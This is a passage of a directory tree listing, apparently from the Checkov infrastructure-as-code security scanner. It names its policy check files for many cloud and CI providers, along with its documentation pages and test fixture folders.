GoogleComputeProjectOSLogin.py │ │ │ │ │ ├── GoogleComputeSSLPolicy.py │ │ │ │ │ ├── GoogleComputeSerialPorts.py │ │ │ │ │ ├── GoogleComputeShieldedVM.py │ │ │ │ │ ├── GoogleFolderBasicRole.py │ │ │ │ │ ├── GoogleFolderImpersonationRole.py │ │ │ │ │ ├── GoogleFolderMemberDefaultServiceAccount.py │ │ │ │ │ ├── GoogleIAMWorkloadIdentityConditional.py │ │ │ │ │ ├── GoogleKMSKeyIsPublic.py │ │ │ │ │ ├── GoogleKMSPreventDestroy.py │ │ │ │ │ ├── GoogleKMSRotationPeriod.py │ │ │ │ │ ├── GoogleOrgBasicRole.py │ │ │ │ │ ├── GoogleOrgImpersonationRole.py │ │ │ │ │ ├── GoogleOrgMemberDefaultServiceAccount.py │ │ │ │ │ ├── GoogleProjectAdminServiceAccount.py │ │ │ │ │ ├── GoogleProjectBasicRole.py │ │ │ │ │ ├── GoogleProjectDefaultNetwork.py │ │ │ │ │ ├── GoogleProjectImpersonationRole.py │ │ │ │ │ ├── GoogleProjectMemberDefaultServiceAccount.py │ │ │ │ │ ├── GoogleRoleServiceAccountUser.py │ │ │ │ │ ├── GoogleStorageBucketNotPublic.py │ │ │ │ │ ├── GoogleStorageBucketUniformAccess.py │ │ │ │ │ ├── GoogleStoragePublicAccessPrevention.py │ │ │ │ │ ├── GoogleSubnetworkIPV6PrivateGoogleEnabled.py │ │ │ │ │ ├── GoogleSubnetworkLoggingEnabled.py │ │ │ │ │ ├── GoogleSubnetworkPrivateGoogleEnabled.py │ │ │ │ │ ├── GoogleVertexAINotebookShieldedVM.py │ │ │ │ │ ├── MemorystoreForRedisAuthEnabled.py │ │ │ │ │ ├── MemorystoreForRedisInTransitEncryption.py │ │ │ │ │ ├── PubSubPrivateTopic.py │ │ │ │ │ ├── SpannerDatabaseDeletionProtection.py │ │ │ │ │ ├── SpannerDatabaseDropProtection.py │ │ │ │ │ ├── SpannerDatabaseEncryptedWithCMK.py │ │ │ │ │ ├── VertexAIDatasetEncryptedWithCMK.py │ │ │ │ │ ├── VertexAIMetadataStoreEncryptedWithCMK.py │ │ │ │ │ ├── VertexAINotebookEnsureIntegrityMonitoring.py │ │ │ │ │ ├── VertexAIPrivateInstance.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── github/ │ │ │ │ │ ├── BranchProtectionRequireSignedCommits.py │ │ │ │ │ ├── BranchProtectionReviewNumTwo.py │ │ │ │ │ ├── PrivateRepo.py │ │ │ │ │ ├── RepositoryEnableVulnerabilityAlerts.py │ │ │ │ │ ├── SecretsEncrypted.py │ │ │ │ │ ├── WebhookInsecureSsl.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── gitlab/ │ │ │ │ │ ├── ForcePushDisabled.py │ │ │ │ │ ├── PreventSecretsEnabled.py │ │ │ │ │ ├── RejectUnsignedCommits.py │ │ │ │ │ ├── RequireTwoApprovalsToMerge.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── kubernetes/ │ │ │ │ │ ├── AllowPrivilegeEscalation.py │ │ │ │ │ ├── AllowPrivilegeEscalationPSP.py │ │ │ │ │ ├── AllowedCapabilities.py │ │ │ │ │ ├── AllowedCapabilitiesPSP.py │ │ │ │ │ ├── AllowedCapabilitiesSysAdmin.py │ │ │ │ │ ├── CPULimits.py │ │ │ │ │ ├── CPURequests.py │ │ │ │ │ ├── ContainerSecurityContext.py │ │ │ │ │ ├── DangerousGitSync.py │ │ │ │ │ ├── DefaultNamespace.py │ │ │ │ │ ├── DefaultServiceAccount.py │ │ │ │ │ ├── DefaultServiceAccountBinding.py │ │ │ │ │ ├── DockerSocketVolume.py │ │ │ │ │ ├── DropCapabilities.py │ │ │ │ │ ├── DropCapabilitiesPSP.py │ │ │ │ │ ├── HostPort.py │ │ │ │ │ ├── ImageDigest.py │ │ │ │ │ ├── ImagePullPolicyAlways.py │ │ │ │ │ ├── ImageTagFixed.py │ │ │ │ │ ├── LivenessProbe.py │ │ │ │ │ ├── MemoryLimits.py │ │ │ │ │ ├── MemoryRequests.py │ │ │ │ │ ├── MinimiseCapabilities.py │ │ │ │ │ ├── MinimiseCapabilitiesPSP.py │ │ │ │ │ ├── PodSecurityContext.py │ │ │ │ │ ├── PrivilegedContainer.py │ │ │ │ │ ├── PrivilegedContainerPSP.py │ │ │ │ │ ├── ReadinessProbe.py │ │ │ │ │ ├── ReadonlyRootFilesystem.py │ │ │ │ │ ├── RootContainerPSP.py │ │ │ │ │ ├── SeccompPSP.py │ │ │ │ │ ├── Secrets.py │ │ │ │ │ ├── ShareHostIPC.py │ │ │ │ │ ├── ShareHostIPCPSP.py │ │ │ │ │ ├── ShareHostPID.py │ │ │ │ │ ├── ShareHostPIDPSP.py │ │ │ │ │ ├── SharedHostNetworkNamespace.py │ │ │ │ │ ├── SharedHostNetworkNamespacePSP.py │ │ │ │ │ ├── Tiller.py │ │ │ │ │ ├── TillerService.py │ │ │ │ │ ├── WildcardRoles.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── linode/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── authorized_keys.py │ │ │ │ │ ├── firewall_inbound_policy.py │ │ │ │ │ ├── firewall_outbound_policy.py │ │ │ │ │ ├── user_email_set.py │ │ │ │ │ └── user_username_set.py │ │ │ │ ├── ncp/ │ │ │ │ │ ├── AccessControlGroupInboundRule.py │ │ │ │ │ ├── AccessControlGroupInboundRulePort22.py │ │ │ │ │ ├── AccessControlGroupInboundRulePort3389.py │ │ │ │ │ ├── AccessControlGroupInboundRulePort80.py │ │ │ │ │ ├── AccessControlGroupOutboundRule.py │ │ │ │ │ ├── AccessControlGroupRuleDescription.py │ │ │ │ │ ├── LBListenerUsesSecureProtocols.py │ │ │ │ │ ├── LBListenerUsingHTTPS.py │ │ │ │ │ ├── LBNetworkPrivate.py │ │ │ │ │ ├── LBTargetGroupDefinesHealthCheck.py │ │ │ │ │ ├── LBTargetGroupUsingHTTPS.py │ │ │ │ │ ├── LaunchConfigurationEncryptionVPC.py │ │ │ │ │ ├── NACLInbound20.py │ │ │ │ │ ├── NACLInbound21.py │ │ │ │ │ ├── NACLInbound22.py │ │ │ │ │ ├── NACLInbound3389.py │ │ │ │ │ ├── NACLInboundCheck.py │ │ │ │ │ ├── NACLPortCheck.py │ │ │ │ │ ├── NASEncryptionEnabled.py │ │ │ │ │ ├── NKSControlPlaneLogging.py │ │ │ │ │ ├── NKSPublicAccess.py │ │ │ │ │ ├── RouteTableNATGatewayDefault.py │ │ │ │ │ ├── ServerEncryptionVPC.py │ │ │ │ │ ├── ServerPublicIP.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── oci/ │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedIngress.py │ │ │ │ │ ├── AbsSecurityListUnrestrictedIngress.py │ │ │ │ │ ├── DataCatalogWithPublicAccess.py │ │ │ │ │ ├── FileSystemEncryption.py │ │ │ │ │ ├── IAMPasswordLength.py │ │ │ │ │ ├── IAMPasswordPolicyLowerCase.py │ │ │ │ │ ├── IAMPasswordPolicyNumeric.py │ │ │ │ │ ├── IAMPasswordPolicySpecialCharacters.py │ │ │ │ │ ├── IAMPasswordPolicyUpperCase.py │ │ │ │ │ ├── InstanceBootVolumeIntransitEncryption.py │ │ │ │ │ ├── InstanceMetadataServiceEnabled.py │ │ │ │ │ ├── InstanceMonitoringEnabled.py │ │ │ │ │ ├── ObjectStorageEmitEvents.py │ │ │ │ │ ├── ObjectStorageEncryption.py │ │ │ │ │ ├── ObjectStoragePublic.py │ │ │ │ │ ├── ObjectStorageVersioning.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityGroupsIngressStatelessSecurityRules.py │ │ │ │ │ ├── SecurityListIngress.py │ │ │ │ │ ├── SecurityListIngressStateless.py │ │ │ │ │ ├── SecurityListUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityListUnrestrictedIngress3389.py │ │ │ │ │ ├── StorageBlockBackupEnabled.py │ │ │ │ │ ├── StorageBlockEncryption.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── okta/ │ │ │ │ │ ├── TwoFASignOnPolicyRule.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── openstack/ │ │ │ │ │ ├── AbsSecurityGroupUnrestrictedIngress.py │ │ │ │ │ ├── ComputeInstanceAdminPassword.py │ │ │ │ │ ├── FirewallRuleSetDestinationIP.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress22.py │ │ │ │ │ ├── SecurityGroupUnrestrictedIngress3389.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── panos/ │ │ │ │ │ ├── InterfaceMgmtProfileNoHTTP.py │ │ │ │ │ ├── InterfaceMgmtProfileNoTelnet.py │ │ │ │ │ ├── NetworkIPsecAlgorithms.py │ │ │ │ │ ├── NetworkIPsecAuthAlgorithms.py │ │ │ │ │ ├── NetworkIPsecProtocols.py │ │ │ │ │ ├── PolicyDescription.py │ │ │ │ │ ├── PolicyLogForwarding.py │ │ │ │ │ ├── PolicyLoggingEnabled.py │ │ │ │ │ ├── PolicyNoApplicationAny.py │ │ │ │ │ ├── PolicyNoDSRI.py │ │ │ │ │ ├── PolicyNoServiceAny.py │ │ │ │ │ ├── PolicyNoSrcAnyDstAny.py │ │ │ │ │ ├── ZoneProtectionProfile.py │ │ │ │ │ ├── ZoneUserIDIncludeACL.py │ │ │ │ │ └── __init__.py │ │ │ │ ├── registry.py │ │ │ │ ├── tencentcloud/ │ │ │ │ │ ├── CBSEncryption.py │ │ │ │ │ ├── CDBInternetService.py │ │ │ │ │ ├── CDBIntranetPort.py │ │ │ │ │ ├── CLBInstanceLog.py │ │ │ │ │ ├── CLBListenerProtocol.py │ │ │ │ │ ├── CVMAllocatePublicIp.py │ │ │ │ │ ├── CVMDisableMonitorService.py │ │ │ │ │ ├── CVMUseDefaultSecurityGroup.py │ │ │ │ │ ├── CVMUseDefaultVPC.py │ │ │ │ │ ├── CVMUserData.py │ │ │ │ │ ├── TKELogAgentEnabled.py │ │ │ │ │ ├── TKEPublicIpAssigned.py │ │ │ │ │ ├── VPCFlowLogConfigEnable.py │ │ │ │ │ ├── VPCSecurityGroupRuleSet.py │ │ │ │ │ └── __init__.py │ │ │ │ └── yandexcloud/ │ │ │ │ ├── ComputeInstanceGroupPublicIP.py │ │ │ │ ├── ComputeInstanceGroupSecurityGroup.py │ │ │ │ ├── ComputeVMPublicIP.py │ │ │ │ ├── ComputeVMSecurityGroup.py │ │ │ │ ├── ComputeVMSerialConsole.py │ │ │ │ ├── IAMCloudElevatedMembers.py │ │ │ │ ├── IAMFolderElevatedMembers.py │ │ │ │ ├── IAMOrganizationElevatedMembers.py │ │ │ │ ├── IAMPassportAccountUsage.py │ │ │ │ ├── K8SAutoUpgrade.py │ │ │ │ ├── K8SEtcdKMSEncryption.py │ │ │ │ ├── K8SNetworkPolicy.py │ │ │ │ ├── K8SNodeGroupAutoUpgrade.py │ │ │ │ ├── K8SNodeGroupPublicIP.py │ │ │ │ ├── K8SNodeGroupSecurityGroup.py │ │ │ │ ├── K8SPublicIP.py │ │ │ │ ├── K8SSecurityGroup.py │ │ │ │ ├── KMSSymmetricKeyRotation.py │ │ │ │ ├── MDBPublicIP.py │ │ │ │ ├── MDBSecurityGroup.py │ │ │ │ ├── ObjectStorageBucketEncryption.py │ │ │ │ ├── ObjectStorageBucketPublicAccess.py │ │ │ │ ├── VPCSecurityGroupAllowAll.py │ │ │ │ ├── VPCSecurityGroupRuleAllowAll.py │ │ │ │ └── __init__.py │ │ │ └── utils/ │ │ │ ├── __init__.py │ │ │ ├── base_cloudsplaining_iam_scanner.py │ │ │ ├── consts.py │ │ │ ├── dependency_path_handler.py │ │ │ └── iam_terraform_document_to_policy_converter.py │ │ ├── context_parsers/ │ │ │ ├── __init__.py │ │ │ ├── base_parser.py │ │ │ ├── parsers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── data_context_parser.py │ │ │ │ ├── locals_context_parser.py │ │ │ │ ├── module_context_parser.py │ │ │ │ ├── provider_context_parser.py │ │ │ │ ├── resource_context_parser.py │ │ │ │ └── variable_context_parser.py │ │ │ ├── registry.py │ │ │ └── tf_plan/ │ │ │ └── __init__.py │ │ ├── deep_analysis_plan_graph_manager.py │ │ ├── evaluation/ │ │ │ ├── __init__.py │ │ │ └── base_variable_evaluation.py │ │ ├── graph_builder/ │ │ │ ├── EncryptionCalculation.md │ │ │ ├── __init__.py │ │ │ ├── foreach/ │ │ │ │ ├── __init__.py │ │ │ │ ├── abstract_handler.py │ │ │ │ ├── builder.py │ │ │ │ ├── consts.py │ │ │ │ ├── data_handler.py │ │ │ │ ├── foreach_entity_handler.py │ │ │ │ ├── module_handler.py │ │ │ │ ├── resource_handler.py │ │ │ │ └── utils.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ ├── attribute_names.py │ │ │ │ ├── block_types.py │ │ │ │ ├── blocks.py │ │ │ │ ├── generic_resource_encryption.py │ │ │ │ └── module.py │ │ │ ├── graph_to_tf_definitions.py │ │ │ ├── local_graph.py │ │ │ ├── utils.py │ │ │ └── variable_rendering/ │ │ │ ├── __init__.py │ │ │ ├── evaluate_terraform.py │ │ │ ├── renderer.py │ │ │ ├── safe_eval_functions.py │ │ │ └── vertex_reference.py │ │ ├── graph_manager.py │ │ ├── image_referencer/ │ │ │ ├── __init__.py │ │ │ ├── base_provider.py │ │ │ ├── manager.py │ │ │ └── provider/ │ │ │ ├── __init__.py │ │ │ ├── aws.py │ │ │ ├── azure.py │ │ │ └── gcp.py │ │ ├── module_loading/ │ │ │ ├── __init__.py │ │ │ ├── content.py │ │ │ ├── loader.py │ │ │ ├── loaders/ │ │ │ │ ├── __init__.py │ │ │ │ ├── bitbucket_access_token_loader.py │ │ │ │ ├── bitbucket_loader.py │ │ │ │ ├── git_loader.py │ │ │ │ ├── github_access_token_loader.py │ │ │ │ ├── github_loader.py │ │ │ │ ├── local_path_loader.py │ │ │ │ ├── registry_loader.py │ │ │ │ └── versions_parser.py │ │ │ ├── module_finder.py │ │ │ ├── module_params.py │ │ │ └── registry.py │ │ ├── modules/ │ │ │ ├── __init__.py │ │ │ ├── module_objects.py │ │ │ └── module_utils.py │ │ ├── parser_functions.py │ │ ├── parser_utils.py │ │ ├── plan_parser.py │ │ ├── plan_runner.py │ │ ├── plan_utils.py │ │ ├── runner.py │ │ ├── tag_providers/ │ │ │ ├── __init__.py │ │ │ ├── aws.py │ │ │ ├── azure.py │ │ │ └── gcp.py │ │ └── tf_parser.py │ ├── terraform_json/ │ │ ├── __init__.py │ │ ├── parser.py │ │ ├── runner.py │ │ └── utils.py │ ├── version.py │ └── yaml_doc/ │ ├── __init__.py │ ├── base_registry.py │ ├── base_yaml_check.py │ ├── enums.py │ ├── registry.py │ └── runner.py ├── dangerfile.ts ├── docs/ │ ├── 1.Welcome/ │ │ ├── Feature Descriptions.md │ │ ├── Migration.md │ │ ├── Quick Start.md │ │ ├── Terms and Concepts.md │ │ └── What is Checkov.md │ ├── 2.Basics/ │ │ ├── CLI Command Reference.md │ │ ├── Handling Variables.md │ │ ├── Hard and soft fail.md │ │ ├── Installing Checkov.md │ │ ├── Reviewing Scan Results.md │ │ ├── Scanning Credentials and Secrets.md │ │ ├── Suppressing and Skipping Policies.md │ │ └── Visualizing Checkov Output.md │ ├── 3.Custom Policies/ │ │ ├── Custom Policies Overview.md │ │ ├── Examples.md │ │ ├── Python Custom Policies.md │ │ ├── Sharing Custom Policies.md │ │ └── YAML Custom Policies.md │ ├── 4.Integrations/ │ │ ├── Bitbucket Cloud Pipelines.md │ │ ├── Docker.md │ │ ├── GitHub Actions.md │ │ ├── GitLab CI.md │ │ ├── Jenkins.md │ │ ├── Kubernetes.md │ │ └── pre-commit.md │ ├── 404.md │ ├── 5.Policy Index/ │ │ ├── all.md │ │ ├── ansible.md │ │ ├── argo_workflows.md │ │ ├── arm.md │ │ ├── azure_pipelines.md │ │ ├── bicep.md │ │ ├── bitbucket_configuration.md │ │ ├── bitbucket_pipelines.md │ │ ├── circleci_pipelines.md │ │ ├── cloudformation.md │ │ ├── dockerfile.md │ │ ├── github_actions.md │ │ ├── github_configuration.md │ │ ├── gitlab_ci.md │ │ ├── gitlab_configuration.md │ │ ├── kubernetes.md │ │ ├── openapi.md │ │ ├── secrets.md │ │ ├── serverless.md │ │ └── terraform.md │ ├── 6.Contribution/ │ │ ├── Contribute New Argo Workflows Policies.md │ │ ├── Contribute New Azure Pipelines Policies.md │ │ ├── Contribute New Bitbucket Policies.md │ │ ├── Contribute New GitHub Policies.md │ │ ├── Contribute New Gitlab Policies.md │ │ ├── Contribute New OpenAPI Policies.md │ │ ├── Contribute New Terraform Provider.md │ │ ├── Contribute Python-Based Policies.md │ │ ├── Contribute YAML-based Policies.md │ │ ├── Contribution New IaC Runner.md │ │ ├── Contribution Overview.md │ │ ├── Implementing CI Metadata Extractor.md │ │ └── Implementing ImageReferencer.md │ ├── 7.Scan Examples/ │ │ ├── AWS SAM.md │ │ ├── Ansible.md │ │ ├── Argo Workflows.md │ │ ├── Azure ARM templates.md │ │ ├── Azure Pipelines.md │ │ ├── Bicep.md │ │ ├── Bitbucket.md │ │ ├── CDK.md │ │ ├── Cloudformation.md │ │ ├── Dockerfile.md │ │ ├── Git History.md │ │ ├── Github.md │ │ ├── Gitlab.md │ │ ├── Helm.md │ │ ├── Kubernetes.md │ │ ├── Kustomize.md │ │ ├── OpenAPI.md │ │ ├── Sca.md │ │ ├── Serverless Framework.md │ │ ├── Terraform Plan Scanning.md │ │ └── Terraform.md │ ├── 8.Outputs/ │ │ ├── CSV.md │ │ ├── CycloneDX BOM.md │ │ ├── GitLab SAST.md │ │ ├── JUnit XML.md │ │ └── SARIF.md │ ├── CNAME │ ├── Gemfile │ ├── _config.yml │ ├── index.md │ ├── menus.json │ ├── search.html │ └── web/ │ ├── css/ │ │ ├── checkov.pyro.css │ │ ├── normalize.css │ │ ├── pyro.css │ │ └── theme.css │ └── js/ │ └── pyro.js ├── dogfood_tests/ │ ├── pytest.ini │ └── test_checkov_dogfood.py ├── extra_stubs/ │ ├── boolean/ │ │ ├── __init__.pyi │ │ └── boolean.py │ ├── docker/ │ │ ├── __init__.pyi │ │ ├── client.pyi │ │ └── models/ │ │ └── images.pyi │ ├── dockerfile_parse/ │ │ ├── __init__.pyi │ │ ├── constants.pyi │ │ └── parser.pyi │ ├── junit_xml/ │ │ └── __init__.pyi │ └── license_expression/ │ └── __init__.pyi ├── flake8_plugins/ │ ├── __init__.py │ └── flake8_class_attributes_plugin/ │ ├── __init__.py │ ├── flake8_class_attributes/ │ │ ├── __init__.py │ │ ├── checker.py │ │ ├── class_members_errors.py │ │ └── model_parts_info.py │ └── tests/ │ ├── __init__.py │ ├── conftest.py │ ├── test_files/ │ │ ├── __init__.py │ │ ├── class_attribute_fail.py │ │ ├── class_const_pass.py │ │ ├── class_special_attributes_pass.py │ │ ├── dataclass_skip.py │ │ └── typing_class_skip.py │ └── test_handler.py ├── github_action_resources/ │ ├── checkov-problem-matcher-softfail.json │ ├── checkov-problem-matcher.json │ └── entrypoint.sh ├── integration_tests/ │ ├── __init__.py │ ├── example_config_files/ │ │ └── config.yaml │ ├── example_ext_private_modules/ │ │ └── main.tf │ ├── example_workflow_file/ │ │ ├── .github/ │ │ │ └── workflows/ │ │ │ └── vulnerable_container.yaml │ │ └── bitbucket/ │ │ └── bitbucket-pipelines.yml │ ├── prepare_data.sh │ ├── run_integration_tests.sh │ ├── test_checkov_cli_integration_report.py │ ├── test_checkov_config.py │ ├── test_checkov_cyclonedx_report.py │ ├── test_checkov_ext_module_cloning.py │ ├── test_checkov_json_report.py │ ├── test_checkov_junit_report.py │ ├── test_checkov_platform_only_policies.py │ └── test_checkov_sarif_report.py ├── kubernetes/ │ ├── Dockerfile │ ├── README.md │ ├── checkov-job.yaml │ ├── requirements.txt │ └── run_checkov.sh ├── mypy.ini ├── performance_tests/ │ ├── __init__.py │ ├── pytest.ini │ └── test_checkov_performance.py ├── pyproject.toml ├── sast_integration_tests/ │ ├── __init__.py │ ├── prepare_data.sh │ ├── run_integration_tests.sh │ └── test_checkov_sast_report.py ├── setup.py └── tests/ ├── __init__.py ├── ansible/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── graph_checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── BlockErrorHandling/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── DnfDisableGpgCheck/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── DnfSslVerify/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── DnfValidateCerts/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── GetUrlHttpsOnly/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.yaml │ │ │ │ │ └── unknown.yaml │ │ │ │ ├── PanosIPsecAuthenticationAlgorithms/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosIPsecProtocols/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosInterfaceMgmtProfileNoHTTP/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosInterfaceMgmtProfileNoTelnet/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyDescription/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyLogForwarding/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyLogSessionStart/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyLoggingEnabled/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyNoApplicationAny/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyNoDSRI/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyNoServiceAny/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyNoSrcAnyDstAny/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosPolicyNoSrcZoneAnyNoDstZoneAny/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosZoneProtectionProfile/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ ├── PanosZoneUserIDIncludeACL/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ └── pass.yaml │ │ │ │ └── UriHttpsOnly/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ └── test_yaml_policies.py │ │ ├── task/ │ │ │ ├── __init__.py │ │ │ ├── aws/ │ │ │ │ ├── EC2EBSOptimized/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.yaml │ │ │ │ │ └── unknown.yaml │ │ │ │ ├── EC2PublicIP/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail.yaml │ │ │ │ │ ├── pass.yaml │ │ │ │ │ └── unknown.yaml │ │ │ │ └── __init__.py │ │ │ └── builtin/ │ │ │ ├── AptAllowUnauthenticated/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ ├── AptForce/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ ├── GetUrlValidateCerts/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ ├── UriValidateCerts/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ ├── YumSslVerify/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ ├── YumValidateCerts/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.yaml │ │ │ │ └── pass.yaml │ │ │ └── __init__.py │ │ └── test_python_policies.py │ ├── examples/ │ │ ├── blocks.yml │ │ ├── empty_tasks.yml │ │ ├── k8s_utf16.yaml │ │ ├── nested_blocks.yml │ │ ├── no_tasks.yml │ │ ├── site.yml │ │ ├── skip.yml │ │ └── tasks.yml │ ├── graph_builder/ │ │ ├── __init__.py │ │ └── test_local_graph.py │ ├── test_graph_manager.py │ ├── test_runner.py │ └── test_utils.py ├── argo_workflows/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ └── template/ │ │ ├── __init__.py │ │ ├── example_DefaultServiceAccount/ │ │ │ ├── fail_default.yaml │ │ │ ├── fail_none.yaml │ │ │ └── pass.yaml │ │ ├── example_RunAsNonRoot/ │ │ │ ├── fail.yaml │ │ │ └── pass.yaml │ │ ├── test_DefaultServiceAccount.py │ │ └── test_RunAsNonRoot.py │ ├── examples/ │ │ ├── argo_cd_application.yaml │ │ ├── hello_world.yaml │ │ └── scripts_python.yaml │ └── test_runner.py ├── arm/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── parameter/ │ │ │ ├── __init__.py │ │ │ ├── test_SecureStringParameterNoHardcodedValue/ │ │ │ │ └── test_parameters.json │ │ │ └── test_SecureStringParameterNoHardcodedValue.py │ │ └── resource/ │ │ ├── __init__.py │ │ ├── example_ACRAdminAccountDisabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_ACRAnonymousPullDisabled/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ ├── pass2.json │ │ │ ├── pass3.json │ │ │ ├── pass4.json │ │ │ ├── pass5.json │ │ │ └── pass6.json │ │ ├── example_ACRContainerScanEnabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_ACREnableImageQuarantine/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_ACREnableZoneRedundancy/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ ├── pass.json │ │ │ └── pass2.json │ │ ├── example_ACRPublicNetworkAccessDisabled/ │ │ │ ├── fail.json │ │ │ └── pass.json │ │ ├── example_AKSApiServerAuthorizedIpRanges/ │ │ │ ├── aks-authIPRanges-preview-FAILED-3.json │ │ │ ├── aks-authIPRanges-preview-FAILED.json │ │ │ ├── aks-authIPRanges-preview-PASSED.json │ │ │ ├── aks-authIPRanges-supported-FAILED-2.json │ │ │ ├── aks-authIPRanges-supported-FAILED.json │ │ │ ├── aks-authIPRanges-supported-PASSED.json │ │ │ └── aks-authIPRanges-unsupported-FAILED.json │ │ ├── example_AKSDashboardDisabled/ │ │ │ ├── AKSDashboardDisabled-FAILED.json │ │ │ ├── AKSDashboardDisabled-FAILED2.json │ │ │ ├── AKSDashboardDisabled-FAILED3.json │ │ │ ├── AKSDashboardDisabled-FAILED4.json │ │ │ └── AKSDashboardDisabled-PASSED.json │ │ ├── example_AKSEncryptionAtHostEnabled/ │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ ├── failA1.json │ │ │ ├── failA2.json │ │ │ ├── pass.json │ │ │ └── passA.json │ │ ├── example_AKSEphemeralOSDisks/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AKSLocalAdminDisabled/ │ │ │ ├── fail.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── example_AKSLoggingEnabled/ │ │ │ ├── AKSLoggingEnabled-FAILED2.json │ │ │ ├── aksLoggingEnabled-FAILED.json │ │ │ ├── aksLoggingEnabled-FAILED3.json │ │ │ └── aksLoggingEnabled-PASSED.json │ │ ├── example_AKSMaxPodsMinimum/ │ │ │ ├── agentPoolProfiles_with_maxPods_fail4.json │ │ │ ├── agentPoolProfiles_with_maxPods_pass.json │ │ │ ├── agentPoolProfiles_without_maxPods_fail3.json │ │ │ ├── properties_with_maxPods_fail2.json │ │ │ ├── properties_with_maxPods_pass1.json │ │ │ └── properties_without_maxPods_fail.json │ │ ├── example_AKSNetworkPolicy/ │ │ │ ├── aksNetworkPolicy-FAILED.json │ │ │ ├── aksNetworkPolicy-FAILED2.json │ │ │ ├── aksNetworkPolicy-FAILED3.json │ │ │ ├── aksNetworkPolicy-FAILED4.json │ │ │ └── aksNetworkPolicy-PASSED.json │ │ ├── example_AKSPoolTypeIsScaleSet/ │ │ │ ├── fail.json │ │ │ ├── pass.json 